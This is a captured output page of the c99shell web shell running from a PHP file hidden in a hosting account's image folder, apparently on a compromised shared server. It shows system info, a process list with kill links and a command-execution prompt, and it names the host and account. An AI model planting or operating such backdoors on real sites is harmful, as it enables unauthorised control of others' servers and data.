Software: LiteSpeed. PHP/7.4.33 uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) Safe-mode: OFF (not secure) /usr/share/locale/ka_GE/LC_MESSAGES/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
necipbey | 1398328 | 0.0 | 0.0 | 498300 | 32524 | ? | S 15:29 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 1438239 | 7.4 | 0.0 | 577588 | 30632 | ? | Ss 15:31 0:07 lsphp:/home/necipbey/public_html/assets/img/3.php | KILL | ||||||||||||||||||||||
necipbey | 1442099 | 5.0 | 0.0 | 500752 | 24824 | ? | Ss 15:32 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 1442389 | 0.2 | 0.0 | 412288 | 28348 | ? | S 15:32 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 1442390 | 0.0 | 0.0 | 412776 | 14476 | ? | Ss 15:32 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 1442475 | 10.6 | 0.0 | 502800 | 26872 | ? | Rs 15:32 0:00 lsphp:/home/necipbey/public_html/assets/img/3.php | KILL | ||||||||||||||||||||||
necipbey | 1443273 | 0.0 | 0.0 | 43044 | 2260 | ? R 15:32 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0139 ]-- |